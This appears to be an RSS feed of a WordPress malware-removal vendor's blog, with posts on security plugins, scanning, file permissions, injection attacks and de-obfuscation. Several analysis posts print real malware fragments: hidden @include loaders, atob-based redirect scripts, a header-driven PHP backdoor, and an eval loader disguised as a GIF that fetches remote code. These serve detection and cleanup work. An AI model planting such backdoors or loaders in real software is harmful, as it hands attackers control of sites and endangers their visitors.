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		<title>Notes on using multiple security plugins together in WordPress</title>
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		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 02:23:13 +0000</pubDate>
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					<description><![CDATA[This section explains the precautions to be taken when using multiple security plug-ins together in WordPress. Typical WordPress security plug-ins The following security plug-ins are commonly installed on WordPress sites. WordFence WAF blocks malicious traffic. Malware scanner to detect and repair infections. Two-factor authentication (2FA) and brute force attack protection. SiteGuard Simply install and activate to provide basic login protection and prevent unintentional access to administrative screens. Protects against fraudulent logins by changing login page URLs, automatic lockouts, image verification (CAPTCHA), login alerts (email notifications), and more. All-In-One Security (AIOS) Complete WAF functionality, firewall (6G/8G rules), login protection (2FA, user enumeration prevention). File change monitoring and content protection (spam/hotlink prevention). Easy to use with security scoring, suitable for beginners. Solid Security Originally iThemes Security, offering multi-layered protection including login hardening (2FA/password policy), brute force protection, file change detection, and vulnerability scanning. Vulnerability scanning. File change detection and user activity logs. MalCare Security Malware scanner and WAF with WordPress-specific threat blocking. Vulnerability detection, activity logs, country blocking, login protection. WP Doctor malware scanner pro Block malicious traffic with WAF. Malware scanner, vulnerability scanning, IP blocking, attack monitoring features, and more. Security plugin includes similar WAF features A WAF is a feature that prevents hackers from attacking and makes it harder to hack. Plugins with this functionality often overlap in functionality, and more than 70% of them are the same. Also, login protection is found in almost all plugins. If multiple plug-ins are enabled for these overlapping functions, there is a possibility that the functions will conflict, which may cause problems such as not being able to log in. Also, security-related functions will be executed multiple times, which may slow down the load and speed of the site. For this reason, we recommend that you set up similar security functions so that they do not overlap, even if multiple security plug-ins are installed. False positives in malware scanning Plug-ins with malware scanning functions may include detection patterns or malware-like code in their detection programs, which may cause the malware scanning functions to misdetect each other even though the code is safe. Therefore, if multiple malware scanning plug-ins are running, a human must determine if the detected files are indeed malware. The following is a method to determine if a safe file has been falsely detected or not. The detected malware exists in the folder of another malware detection plug-in. The detected file is included in the same version of the plugin as the legitimate distribution file, and the contents are identical. In addition, if the malware scan is executed by multiple plug-ins, it may increase the load on the site and lead to site slowdown. For this reason, we recommend that security plug-ins be combined into one plug-in that has a general WAF function, a malware scanning function (with a high detection rate), and a vulnerability scanning function.]]></description>
		
		
		
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		<title>How to automate WordPress malware detection and vulnerability detection and email notification</title>
		<link>https://blog.website-malware-removal.com/10620</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 01:41:18 +0000</pubDate>
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					<description><![CDATA[This presentation will explain how to automate WordPress malware and vulnerability detection and email notification. Automate malware detection and vulnerability detection with WP Doctor Malware Scanner Pro and email notification Download and install the [Free] WordPress:Malware Scanning &#038; Security Plugin [Malware and Virus Detection and Removal] developed by WP Doctor. How to install WP Doctor Malware Scanner Pro Download the plugin and save the ZIP file on your local computer. Log in to your WordPress account and click on Plugins > Add New > Upload Plugin from the admin page. Select the ZIP file you just downloaded and click Install Now to activate the plugin. Click on the &#8220;Malware Scan&#8221; menu item added to the left menu of the admin page. Click the &#8220;Scan Now&#8221; button in the upper right corner to start scanning immediately. Click on the &#8220;Settings&#8221; tab to access the various settings, and the &#8220;Improve Security&#8221; tab to access the plugin&#8217;s security features. Enable automatic scanning and email notifications in the WP Doctor Malware Scanner Pro settings screen From the WordPress admin page > Malware Scan > Settings tab Auto-scan for malware daily Automatic daily scan for vulnerabilities Email notification upon detection *Specify the email address to be notified Check &#8220;Yes&#8221; to save the settings. The system automatically scans for malware and vulnerabilities and notifies you by email as follows upon detection. Please confirm that we have detected malware on the site name (https://*****) Inspection Result Start time: 2025-08-18 18:00:00 End time: 2025-08-18 18:05:34 Scanning time: 334 seconds Scanned directory: /home/***** Directories scanned: 912 Files scanned (modified or outdated): 3802 Suspicious files found (malware/viruses): 1 Number of databases scanned: 194 Number of malware-infected databases: 0 Vulnerability found in the site name (https://*****). The vulnerabilities found are as follows LearnPress Version:4.2.6 CVE-2024-4397,CVE-2024-4434,CVE-2024-6589,CVE-2024-8529 Automatic daily vulnerability scan is a paid feature. Please consider purchasing the paid version of the plugin from the &#8220;Purchase&#8221; tab of the plugin&#8217;s administration page. We hope you will give it a try.]]></description>
		
		
		
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		<title>Automate WordPress security-related maintenance with plugins.</title>
		<link>https://blog.website-malware-removal.com/10583</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 16 Sep 2025 01:59:44 +0000</pubDate>
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					<description><![CDATA[The paid version of our WP Doctor Malware Scanner Pro introduces features and settings that are particularly useful for security-related maintenance of WordPress sites. Security measures with WordPress plug-ins1 Automatic malware scanning, email notification when malware is detected The paid version of WP Doctor Malware Scanner Pro automatically updates the latest malware detection patterns collected and added from malware removal requests, our dummy sites, and online malware information. files at any given time, and notifies you by email if any malware is found. This means that if you are infected with malware, you will be able to deal with it at an early stage. WordPress Plug-in for Security Measures 2 Automatic Vulnerability Check and Email Notification of Vulnerabilities 60-70% of the time WordPress is hacked, it is because of vulnerabilities in older plugins. For this reason, it is an extremely powerful security measure to constantly monitor for dangerous vulnerabilities that could allow a site to be tampered with, and if a vulnerability is found, to close it by updating the site or by other means. WP Doctor Malware Scanner Pro automatically checks your site for vulnerabilities from our constantly updated vulnerability database, and notifies you by e-mail if a vulnerability is found. WordPress Plugin for Security Measures 3 Detects hacking attempts being made on your site and automatically blocks hacker IPs. WordPress is the world&#8217;s most popular CMS, and it is said that 20-30% of all websites in the world are created with WordPress. For this reason, hackers attack a vast number of WordPress sites with automated hacking tools at random. Most of them will not succeed, but even the rare ones will be able to be penetrated and tampered with if they can find a large number of sites with dangerous vulnerabilities left unaddressed. Monitoring and detecting such hacking attempts, and automatically blocking the IPs that are attempting to do so, stops the hacker&#8217;s vulnerability attack in its early stages, and alerts the hacker that you are monitoring the hacking activity on the site, which greatly improves site security. Other free WAF features The free version of WP Doctor Malware Scanner Pro also includes one of the most versatile WAFs (Web Application Firewalls) available to increase the security of your site. Examples of security functions available for free Login Lockdown Login capture Prevent WordPress version leakage Block access to wlwmanifest.xml Prohibit Index listings Prohibit WPSCAN Ban brute force attack IP to XMLRPC,wp-login Ban on REST API Ban direct access to Include files Ban PHP access to Upload folder Comment protection, protection from spam Ban on posting comments via proxy Comment form capture Repair and protection of htaccess and index.php Process monitoring functionality etc. For more information, please click here. How to purchase the paid version of WP Doctor Malware Scanner Pro The paid version of WP Doctor Malware Scanner Pro can be purchased from the purchase tab of the plugin&#8217;s administration page after the plugin has been installed on your site. You can pay by credit card via Stripe.]]></description>
		
		
		
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		<title>Example of malformed JAVASCRIPT embedded in all WordPress posts</title>
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		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 26 May 2025 01:31:29 +0000</pubDate>
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					<description><![CDATA[There have been an increasing number of cases of malicious JAVASCRIPT being embedded in all WordPress posts. Here is how to deal with this malware. A case in which a malicious JAVASCRIPT is embedded in a WordPress post, causing malicious behavior such as jumping to other sites when the site is accessed. JAVASCRIPT is a scripting language that runs on the browser and performs various functions on the site, such as dynamically rewriting pages, communicating behind the scenes, and animating the layout. Because JAVASCRIPT runs on the browser, even if an illegal JAVASCRIPT is embedded in a site, it cannot directly rewrite files on the server or install any files directly on the user&#8217;s computer, but it can lead the user to dangerous websites or create SEO links to other sites. However, it can lead the user to dangerous websites, or to the insertion of SEO links to other sites without permission. *Servers can also cause serious damage such as users installing malicious software on other sites, or being blacklisted by search engines as having malicious content, which can result in the site not appearing in search results. Example of malicious JAVASCRIPT being embedded in all posts on a site If a hacker takes advantage of a vulnerability in a WordPress site, such as a weak plugin or user password, to gain administrative privileges on the site, in many cases the database can be rewritten as well. Hackers use programs that rewrite the data of the site&#8217;s database submissions in one fell swoop, sometimes writing malformed JAVASCRIPT to thousands of submissions. The malformed JAVASCRIPT is often written at the bottom of the submission data, obfuscated as shown in the figure above. Reference What is the obfuscation process used in over 90% of WordPress malware? What to do when malformed JAVASCRIPT is embedded in a post When malicious JavaScript is embedded in a post, it is often discovered when PC virus detection software blocks access to the site, search results indicate that malware has been detected, or site users complain that they were redirected to another site or forced to download malicious software. In many cases, this is discovered when users of the site complain that they were sent to a different site or forced to download malicious software. Detection of malicious JS Such malicious JS embedding in posts can sometimes be detected by online services such as the following. Try checking for viruses in posts and top page URLs on such sites. Sucuri Site Check Online Malware Scanner For more powerful detection of malware from the inside, you can also use our Malware Detection Plug-in. Free WordPress:Malware Scanning &#038; Security Plugin [Malware and Virus Detection and Removal]. What if thousands of posts have malicious JAVASCRIPT embedded in them? If several thousand posts have malicious JAVASCRIPT embedded in them, it is difficult to remove them one by one by hand. In this case, we recommend the following methods. Roll back to the database before the contamination. Directly execute SQL statements (database processing instructions) that comprehensively disable illegal JAVASCRIPT strings in the database. *This [&#8230;]]]></description>
		
		
		
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		<title>Online WordPress malware scanning site.</title>
		<link>https://blog.website-malware-removal.com/10440</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 19 Mar 2025 01:25:05 +0000</pubDate>
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					<description><![CDATA[Here are some sites online where you can scan your WordPress output for malware (not a vulnerability scan) to see if there is any malicious code mixed in with the HTML of your site. Sucuri SiteCheck https://sitecheck.sucuri.net/ Sucuri SiteCheck is a fairly old site that allows online malware scanning. You can scan any page by entering its URL. The site pretends to be accessed from Google and scans for malware, so it can detect malware that only appears in Google search results. Quttera https://quttera.com/website-malware-scanner Like Sucuri SiteCheck, Quttera allows you to scan for malware by entering the URL of any page. However, free malware scans are queued and performed in order, so it may take some time for the scan to complete. WP Doctor Online Malware Scanner https://malware-scan.website-malware-removal.com/ WP Doctor Online Malware Scanner is an online malware scanning site with malware detection patterns we have collected from over 1 million malware files. You can scan for malware by file code, file upload, or URL. Limitations of Online Malware Scanning Online malware scans can only scan HTML and JAVASCRIPT code that is output as a site page. However, more than 99% of the malware that infects WordPress resides on the server as PHP programs that run on the server. It is therefore important to note that online malware scans can only scan the results of malicious code generated by such malware. Disadvantages of Online Malware Scanning Since the malware itself is not scanned, even if it is detected, it is often not known where the malware itself is located. Malware detection is limited (spam-sending malware and backdoors, which are malware that hackers use to gain entry into your computer, cannot be detected). ・Malware with various malicious code expression conditions, such as only when accessing a smartphone, or when accessing a site via a search engine, or when a site is accessed by a browser, are often undetectable. Because of the above disadvantages, we believe that the detection accuracy of online malware scanners is strong against redirect hacks, etc., but is quite poor in detecting malware that infects servers as a whole. For more accurate malware scanning, we recommend using a plug-in type malware scanner that can scan the WordPress program itself comprehensively from the inside. Free WordPress:Malware Scanning &#038; Security Plug-in [Malware &#038; Virus Detection and Removal].]]></description>
		
		
		
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		<title>What are the strongest permissions to prevent malware infection in WordPress?</title>
		<link>https://blog.website-malware-removal.com/9069</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 21 Nov 2023 12:45:10 +0000</pubDate>
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					<description><![CDATA[We will introduce the strongest file write permissions (permissions) to prevent malware infection in cases such as repeated malware infections in WordPress. What are permissions? Permissions are the permissions to write and read files and folders. Write permissions are divided into three categories. Owner → the permissions of the user who created the file (or the user who was granted ownership of the file) Group → Authority of a group of users on the server that includes the file&#8217;s creator. Other → Authorizations other than those listed above. These permissions are called permissions and can be set in FTP software such as FileZilla. Permissions are handled internally with numerical values such as 555, 755, etc. In the example shown in the figure below, you can see that the number is 555 as a result of the check of write permissions, etc., which is displayed clearly by the FTP software. If write access is disabled, malware will not be able to tamper with the file. If all permissions are unchecked in the write section of the above figure, malware and even hackers, including the owner, will not be able to modify files and folders. In other words, it cannot be tampered with. This is why the strongest permission is to disable write permission on all WordPress files and folders. However, you must make the wp-content/upload folder writable because WordPress uploads images and other files to this folder. Disadvantages of setting non-writable permissions However, if you make the permissions of files and folders un-writable, WordPress will not be able to update the files, and you will not be able to update WordPress itself, plug-ins, etc. via the administration screen. For this reason, we recommend that you take this measure to strongly prevent re-infection in the event of repeated hacker attacks or if hacker attacks become more intense after malware removal. Also, some servers make file permissions writable without permission, and in such cases, permission-related measures cannot be taken. To complicate matters further, some advanced malware may alter the permissions themselves to perform tampering. In the case of such malware, permission changes cannot prevent tampering. However, some servers have made it impossible to change permissions (change to loose permissions) via programs (e.g. Sakura server, X server, etc.). (e.g. Sakura Server, Xserver) This is effective against malware that changes permissions itself. The fundamental solution is to remove the backdoor and take the proper security measures. Even if changing permissions makes it harder to be reinfected with malware, it is still a coping mechanism. Once a site is infected, the fundamental solution is to remove the malware and take the correct security measures. Please consider using a malware scanner and security plug-ins. Free] WordPress:Malware Scan &#38; Security Plugin [Malware and Virus Detection and Removal]. You will also need to take basic WordPress security measures to squash any vulnerabilities that may have allowed hackers to enter your site. Five free WordPress security measures For malware removal, we also recommend that you consult an experienced professional.]]></description>
		
		
		
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		<title>Chinese Malware (Backdoors) Increased in WordPress</title>
		<link>https://blog.website-malware-removal.com/9016</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 08 Nov 2023 12:00:12 +0000</pubDate>
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					<description><![CDATA[Recently, Chinese malware (backdoor) has been spreading through WordPress. We will explain about this malware. Characteristics of Malware This malware has the function of a backdoor, an unauthorized entrance to the hacker&#8217;s site. It displays a list of all files and folders on the server and allows editing of all files. The features are $title = '删除文件'; →Delete a file $title = '查看/编辑 代码'; → edit a file The malware probably originates from China, where Chinese characters such as &#8220;删除文件&#8221; are used. How to deal with Chinese file editing backdoors? This malware can be detected with the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Once detected, you can delete the entire file. Also, this malware has file scanning and file editing capabilities, which means that all files in the server (even beyond domain folders) may have been tampered with in some way via this backdoor. We recommend that you scan all sites on your server with the aforementioned malware scanner and take the necessary security measures.]]></description>
		
		
		
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		<title>Introduction of an online malware scanner that allows you to scan for malware online</title>
		<link>https://blog.website-malware-removal.com/8832</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 27 Sep 2023 12:00:53 +0000</pubDate>
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					<description><![CDATA[We are pleased to announce the release of our new free service &#8220;Online Malware Scanner&#8221; on WordPress Doctor. Online malware scanning from PHP, HTML, JS code, file uploads, and URLs. The Online Malware Scanner scans malware from code, file uploads, and URLs with world-class detection accuracy based on hundreds of thousands of malware patterns that WordPress Doctor has collected and analyzed. https://malware-scan.website-malware-removal.com/en.php To detect from a code, first enter the code you wish to inspect in the text area, then enter the captcha and press the scan button. If you wish to inspect any PHP or HTML file by uploading the file, please press the &#8220;Upload&#8221; button, select the file you wish to inspect, and then press the scan button. If you want to scan from a URL, click the &#8220;From URL&#8221; button, enter the URL you want to scan, and then click the scan button. You can inspect for free! This online scanner is free of charge and the inspection takes only a few seconds. If the code contains malware, the number of lines detected and the probability that the detection really contains malware malicious features will be displayed. This probability is calculated based on statistical data from our analysis of malware detection patterns and whether the files detected in the past were indeed malware. We have also released a plugin that allows you to scan all program files from inside a WordPress site for malware at once. We hope you will give it a try. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>Regarding the detected unauthorized access list that visualizes attacks on WordPress</title>
		<link>https://blog.website-malware-removal.com/8632</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 14 Jul 2023 12:00:10 +0000</pubDate>
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					<description><![CDATA[We have received several inquiries about the &#8220;Detected Unauthorized Access List&#8221; feature of the WordPress Doctor Malware Scanner, so we will explain it here. The function of the plugin to visualize unauthorized access to WordPress Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal] has, More advanced blocking of hacker IPs > Ability to view a list of detected unauthorized accesses. What is displayed in this function is a record of unauthorized access enforced by hackers. This unauthorized access is recorded when a non-existent PHP file or some data is sent to AJAX, the back-end process of WordPress. Therefore, the fact that an unauthorized access is recorded here does not mean that the attack was successful. Why are unsuccessful unauthorized accesses recorded? Hackers who hack WordPress often hack WordPress sites using tools that try attack after attack on various known vulnerabilities. Therefore, they repeat the attacks that would be successful if WordPress had a vulnerability, in a round-robin fashion, on tens of thousands of sites. This is why unauthorized accesses that are not vulnerable (and are not successful) are recorded. Many people may be surprised because unauthorized accesses have been recorded, but such unauthorized accesses are made daily to any site as long as it is a site that is caught by search engines. Take basic security measures to prevent unauthorized access from succeeding! You may enable the blocking function mentioned above, and if you take basic security measures to prevent such vulnerability attacks from succeeding, 99.9% of all WordPress sites will not be hacked. We recommend that you check your security measures and take them on a daily basis, referring to the article ↓. Reference 5 free WordPress security measures]]></description>
		
		
		
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		<title>Five types of malware embedded in WordPress</title>
		<link>https://blog.website-malware-removal.com/8297</link>
		
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		<pubDate>Mon, 15 May 2023 12:00:50 +0000</pubDate>
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					<description><![CDATA[Here are some of the types of malware embedded in WordPress that are common these days. If similar code is included in the site&#8217;s program, we suspect that WordPress has been hacked and tampered with. 1 @include statement sandwiched between random string comments This type of tampering is often seen in core WordPress files such as index.php and wp-config.php. Specifically, the following tampering occurs /*ytju6dyr @include(/home/www/***********/.sd87ywernaksj.mo); /*ytju6dyr The random strings above and below the @INCLUDE statement are identifiers for the body of the malware to check if the tampering has been removed. The tampering also reads the body of the malware, .sd87ywernaksj.mo, in a way that does not raise an error if the file has been removed by @include. In other words, the body of the malware is .sd87ywernaksj.mo. If the file starts with . at the beginning of a file makes it an invisible file in Linux, so this malware body file is not visible in the general file display method. 2 JAVASCRIPT using atob or String.fromCharCode This malware is a common modification to Header.php and Footer.php, which are loaded in database submissions and on all pages of a theme, and in most cases it is a redirect hack code that skips the site to another site. Specifically, the following tampering occurs document.write(atob(alphanumeric string)); document.write(String.fromCharCode(array of numbers)); atob and String.fromCharCode are string conversion processes used for the purpose of making a program string quickly unreadable. The hacker uses atob and String.fromCharCode to obfuscate what the tampering is doing so that it is not immediately apparent, and then outputs the code to HTML with document.write. However, String.fromCharCode is often used on Japanese sites to hide e-mail addresses to prevent spam, so it is necessary to distinguish it from malware. 3 A large number of /* */ This malware is often installed in WordPress core files with random string file names. Example filename nlcebdto.php Example of malware code /* Unx */chr ( number /*rgv */ number /*rQZu */ number ).chr (number) . /* VbNc */chr (number This malware is characterized by the fact that it contains a large number of /* */ (comments) while obfuscating the malware code with CHR. This large number of comments is inserted to prevent detection by malware scanners. 4 Contains a large number of /* */ (comments) The code of this malware contains a large number of /x-numeric characters as shown below. \x3f\x70h\x digits\x20@\x digits\x76a\x digits\x digitsc\x digits$\x5f\x52E\x51\x digitsE\x53\x digits[. The /x-number string is a UTF-8 string that has been converted so that only a program can expand it, making it appear unintelligible to a human eye, and obfuscated so that the program cannot tell what it is doing at first glance. Other common malware codes include UTF-16 conversions and u00 numbers. 5 Getting information from $_HEADERS This malware is simple and looks like the following $_HEADERS = getallheaders(); if (isset($_HEADERS['character'])) { $char = $_HEADERS['character']('', $_HEADERS['character']($_HEADERS['character'])); $_CHARACTER(); } This malware is called a backdoor, which means that any program that the hacker plants in the headers can be executed on the server. However, the letters in the above [&#8230;]]]></description>
		
		
		
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		<title>What is a WordPress injection attack?</title>
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		<pubDate>Wed, 05 Apr 2023 12:00:37 +0000</pubDate>
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					<description><![CDATA[There are various methods by which WordPress can be hacked, the most common of which is called an injection attack. This section describes these injection attacks. What is an injection attack? Injection is a Japanese word meaning injection. In other words, it is an attack in which a hacker embeds some malicious programming code or database data into a site. Injection attacks can be performed through vulnerabilities in plug-ins or brute force attacks in which a hacker repeatedly logs in to find out the administrator&#8217;s password. Reference How do hackers tamper with WordPress and embed malware? Types of Injection Attacks The following is a description of the typical types of injection attacks, in the order in which they are most often performed on WordPress. 1 Code Injection In this attack, a hacker embeds malware into a legitimate WordPress file. The most common files in which malicious code is embedded are index.php and wp-config.php, which are executed each time the site is viewed. For example, the following code is embedded and the malware is executed every time a user accesses the site. index.php /*sa6ahds6wr ← An identifier to check for the presence of the hacker's malicious code is also embedded @include(/var/www/.... /.6sada8dh.ico) ← Injection of the include portion to load the malware itself /*sa6ahds6wr Code injection is not necessarily written into a legitimate file, but may be installed as a single independent program on the server. This program may be a backdoor that serves as an entry point for hackers to re-hack, or it may have the ability to automatically reinfect or investigate the server. 2 SQL Injection WordPress generates websites with two types of data styles: real files, such as program files and HTML files, and data recorded in databases. An attack that illegally embeds or alters data in this database is called SQL injection. This attack involves creating users with unauthorized administrator privileges, writing unauthorized code in plug-ins or theme settings to be executed when the website is displayed, or embedding a large amount of Javascript code in content (posts) to cause users accessing the content to be sent to another This can be used for redirect attacks, for example, where a large amount of JavaScript code is embedded in content (posts) to send users who access the content to another site. 3 XML Injection This is an injection attack that has been on the rise in recent years, in which malformed URLs or pages are embedded in the XML of WordPress sitemaps, with the goal of hooking search engines. It causes a large number of pages that you do not remember to be trapped in the search results. In many cases, the malicious pages themselves are also embedded in the server, causing a variety of malicious pages to be displayed on the server. Detecting Injection WordPress injection attacks are often difficult to prevent. Reference Can a hacker attack on WordPress itself be prevented? However, simple measures can prevent most of them. Reference Five free WordPress security measures If you have already had an injection attack that has inserted malicious code [&#8230;]]]></description>
		
		
		
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		<title>New type of malware redirects to Russian mail-order sites only in some WordPress URLs</title>
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		<pubDate>Thu, 02 Mar 2023 12:00:23 +0000</pubDate>
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					<description><![CDATA[We have discovered a new type of malware that redirects only some hierarchical WordPress URLs to Russian mail-order sites, and we would like to present an example of this malware. Characteristics of WordPress malware The malware is characterized by redirecting all pages below a specific WordPress hierarchy, such as example.com/en/ or example.com/jp/, to malicious sites on Russian domains. For example, the following sites were among those redirected to the malicious site. http://www[.] hacopy[.]. ru/ Malware location This malware is a malicious PHP program disguised as a GIF or JPG. We found that the malware was loaded in the theme&#8217;s Functions.php with the following description. include("images/qaI.gif"); The cleverness of this malware is that while the malware itself is contained in a gif or jpg, the code to load it is extremely short and not obfuscated, making it difficult to detect. The code of the malware disguised as a gif or jpg is as follows. error_reporting(0); $a =@file_get_contents(str_rot13('uggc://***********/').' all/*********/xmlr'); eval('? >'. $a); This code pulls in external malicious code and executes it on the server. This was achieving an unauthorized redirect. How to deal with malware You can deal with this malware in the following ways 1 Detect malicious INCLUDE (read) of malformed gifs and jpgs with the malware scanner plugin. [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. 2 Once the malicious loading is detected, read the path to the location on the server where the gif or jpg file is being loaded, connect to the server using ftp software, etc., delete the malware itself, and then delete the malicious INCLUDE statement. (Failure to do these two things at the same time will result in a program error.)]]></description>
		
		
		
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		<title>How to find hidden malware (tampering) in WordPress</title>
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		<pubDate>Wed, 09 Nov 2022 01:18:57 +0000</pubDate>
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					<description><![CDATA[If WordPress redirects you to a different site or disables some features of the administration panel, you may have been infected with malware. In this case, if the malware has been removed and the site keeps re-infecting itself, it is possible that a backdoor, or malicious program, remains somewhere on the site. What is a back door? A backdoor is a program that is illegally embedded in a site and serves as a starting point for hackers to deface the site. Hackers can access this file via the Internet to deface the site as many times as they wish. Backdoors are often difficult to find because they are embedded deep within the site, the code is obfuscated, or they are hidden in other files such as ico files. How to find hidden malware (tampering) and backdoors in WordPress The easiest way to find hidden malware (including tampering, backdoors, and viruses) is to use a malware scanner plug-in. We recommend that you scan your site with the WordPress Doctor malware scanner plugin, which has been used to scan and remove malware from over 30,000 sites as of 2022. Free WordPress:Malware Scanning &#038; Security Plug-in [Malware and Virus Detection and Removal]. Files susceptible to WordPress malware infection There are also certain files that are very susceptible to WordPress backdoors and malware. We recommend that you also investigate this by visual inspection. Infection of files that are executed whenever someone visits the site WordPress has a file that is executed every time someone visits the site. Hackers may embed malicious code here to automatically restore malware by embedding a backdoor or malicious code for re-infection. wp-config.php index.php contained in the theme file index.php header.php footer.php functions.php single.php page.php Malware disguised as common WordPress files Malicious code may be installed with a name that looks exactly like a common program name included in WordPress. wp-signups.php wp-plain.php wp-conflg.php xmIrpc.php setup-config.php wp-includes.php etc. Randomly named PHP files Hackers often embed malware files with random, meaningless strings of characters in their file names. If such a file is included in the core WordPress files, you may suspect it is malware. 1dyrU7.php hU67jl.php etc. HTACCESS file The HTACCESS file is a configuration file at the top of the WordPress installation directory that contains permalink settings and other information. It is very common for this file to be tampered with, disabling many of the features of the administration panel. Reference HTACCESS and Index.php files that are instantly tampered with again in WordPress]]></description>
		
		
		
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		<title>What security experts recommend in the WordPress security plugin</title>
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		<pubDate>Mon, 12 Sep 2022 01:25:26 +0000</pubDate>
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					<description><![CDATA[There are many security plugins released for WordPress. The following is a list of features that you should have when selecting a security plugin. NO.1 Malware inspection, detection, and removal functions Not many WordPress security plug-ins have the ability to detect malware as well, but WordPress can be infected with malware without you even realizing it, and the ability to remove infected malware from the admin screen is one of the most advanced features of WordPress security plug-ins. The ability to remove infected malware from the admin screen is the most cutting-edge feature in security plug-ins. Wordfence Quttera Web Malware Scanner MalCare WP Doctor Malware Scanner &#038; Security Plug-in and other plug-ins can be used for this functionality. NO.2 Vulnerability Checking Function More than 60% of WordPress hacks are done through vulnerabilities in plugins and other programs. Many plugin vulnerabilities are publicly disclosed, and hackers often use tools that exploit these vulnerabilities one after another to hack WordPress. The main plugins that can be tested for vulnerabilities include the following Wordfence WPSCAN WP Doctor malware scanning and security plugin NO.3 Enhanced Login Screen About 20% of WordPress hacks are caused by logging in by taking away administrative privileges to the admin screen. To make the password for WordPress admin privileges strong, and at the same time, to put a captcha on the login screen to prevent brute force attacks to break the password by brute force, or Changing the URL of the login screen is effective. Plug-ins that can strengthen the login screen include the following All In One WP Security &#038; Firewall SiteGuard WP Doctor Malware Scanning &#038; Security Plugin NO.4 WAF A WAF is a software (in the case of WordPress, a plugin) that acts like a firewall to prevent hackers from attacking your site. In the case of WordPress, it can prohibit excessive access to xmlrpc, prohibit access to Track and Trace functions, prohibit access through proxies (anonymous intermediary servers), block the transmission of malicious strings through HTACCESS, and much more. Plug-ins with excellent WAF features are listed below. All In One WP Security &#038; Firewall Wordfence WP Doctor Malware Scanning &#038; Security Plugin NO.5 IP Blocking Function IP is like the address of each computer connected to the Internet. If the IP is blocked, even hackers will not be able to launch attacks. Plug-ins that record hacker attacks and have the ability to block IPs will provide even stronger protection. Plug-ins with IP blocking functions are listed below. All In One WP Security &#038; Firewall IP Location Block WP Doctor Malware Scan &#038; Security Plugin]]></description>
		
		
		
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		<title>Characteristics and decoding methods of malware code infecting WordPress</title>
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		<pubDate>Thu, 18 Aug 2022 01:22:55 +0000</pubDate>
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					<description><![CDATA[We will explain the characteristics of malware code embedded by WordPress tampering and how to make the code readable and analyze its contents. Malware code embedded in WordPress WordPress can be subject to site modification by hackers due to a variety of factors. This causes program code that performs malicious activities unintended by the site operator, collectively referred to as malware. Malware code is often very distinctive, and most often consists of a single line of unintelligible text, such as the following $WDP0PDP00D=$WPDD0D0P0P [14]. $WPDD0D0P0P[ 25]. $WPDD0D0P0P[ 6]. $WPDD0D0P0P[ 11]. $WPDD0D0P0P[ 8]. $WPDD0D0P0P[ 18 ]. $WPDD0D0P0P[ 34 ]. $WPDD0D0P0P[ 32 ]. $WPDD0D0P0P[ 24]. $WPDD0D0P0P[ 18]. $WPDD0D0P0P[ 8]. $WPDD0D0P0P[ 34 ]. $WPDD0D0P0P[ 20]. $WPDD0D0P0P[ 19]. $WPDD0D0P0P[ 11]. $WPDD0D0P0P[ 8]..... /*12236*/ @include "\057hom\145/fu\156tre\057fun\164re.\143om/\160ubl..... ;VZDKQPY@ KHHYYS;E@oM K^AEDARG_SY^A UWSI]W^WVQU^^HP ZWBBYVY VMD\Y \VZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ Why would such a string act as malware? Most malware is obfuscated. The aforementioned code is obfuscated from common PHP program code, making it difficult to understand how it works, even for those with programming knowledge. Since PHP is executed mechanically, the machine can execute the process, but people cannot understand the mechanism of how the code works. Sometimes obfuscated code is also added to avoid malware scanners by inserting comments into the code for people to read. /*ydhr6ei*/"base". /*ydhr6ei*/." 64_". /*ydhr6ei*/." decode". How do I de-obfuscate? Unobfuscating such code can be difficult. It may be possible to use a combination of the following techniques to remove the obfuscation. manually base64_encode base64_decode (or str_rot13 urlencode, etc.) Obfuscated strings can be directly output by echo. Try to manually assign a key file or hash value and output it by echo. Rewrite an eval string to echo and output the code to be executed. Use an obfuscation program (available on Github, etc.) You can also use php-decoder.site, which does some of the above work automatically and online. Free WordPress:Malware Scanning &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>How to find out if a WordPress plugin is vulnerable for free.</title>
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		<pubDate>Thu, 26 May 2022 06:59:23 +0000</pubDate>
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					<description><![CDATA[Learn how to use the WordPress Doctor Malware Scan &#38; Security plugin to scan and examine your plugins for vulnerabilities. How to install the malware scanner plug-in 1 Download the plug-in Download the plugin zip file from the Malware Scanner &#38; Security Plugin official website. The plugin has a number of free features, including vulnerability testing. Malware Scan &#38; Security Plug-in Official Site 2 Installation After downloading the malware scan zip file, save it to a location of your choice and click Plugins &#62; Add New &#62; Upload Plugin from the administration page. Select the ZIP file you just downloaded and click Install Now to activate the plugin. You can also unzip the downloaded ZIP file and upload it to the wp-content/plugins/ folder using FTP software. Perform a vulnerability check of the plugins on your WordPress site. Log in to WordPress, click &#8220;Malware Scan&#8221; on the left menu of the administration screen, click the Vulnerability Scan tab, and then click the Run Scan button. The scan will retrieve the versions and names of all plugins installed in your WordPress, compare them to the 1000&#8217;s of potentially dangerous vulnerabilities in our database, check for vulnerabilities, and display the results. If a vulnerability is found, the vulnerable plug-in and a link to the vulnerability will be displayed as shown in the figure below. The WordPress Doctor Malware Scan &#38; Security plugin&#8217;s vulnerability scan detects the most common types of vulnerabilities used by hackers, such as the ability to deface a site through the network without authentication, so if a vulnerability is found, we recommend updating this plugin as soon as possible. If vulnerabilities are found, we recommend that you update this plugin as soon as possible. In addition to vulnerability scanning, the plugin also includes a number of security features and malware checking functions. Free 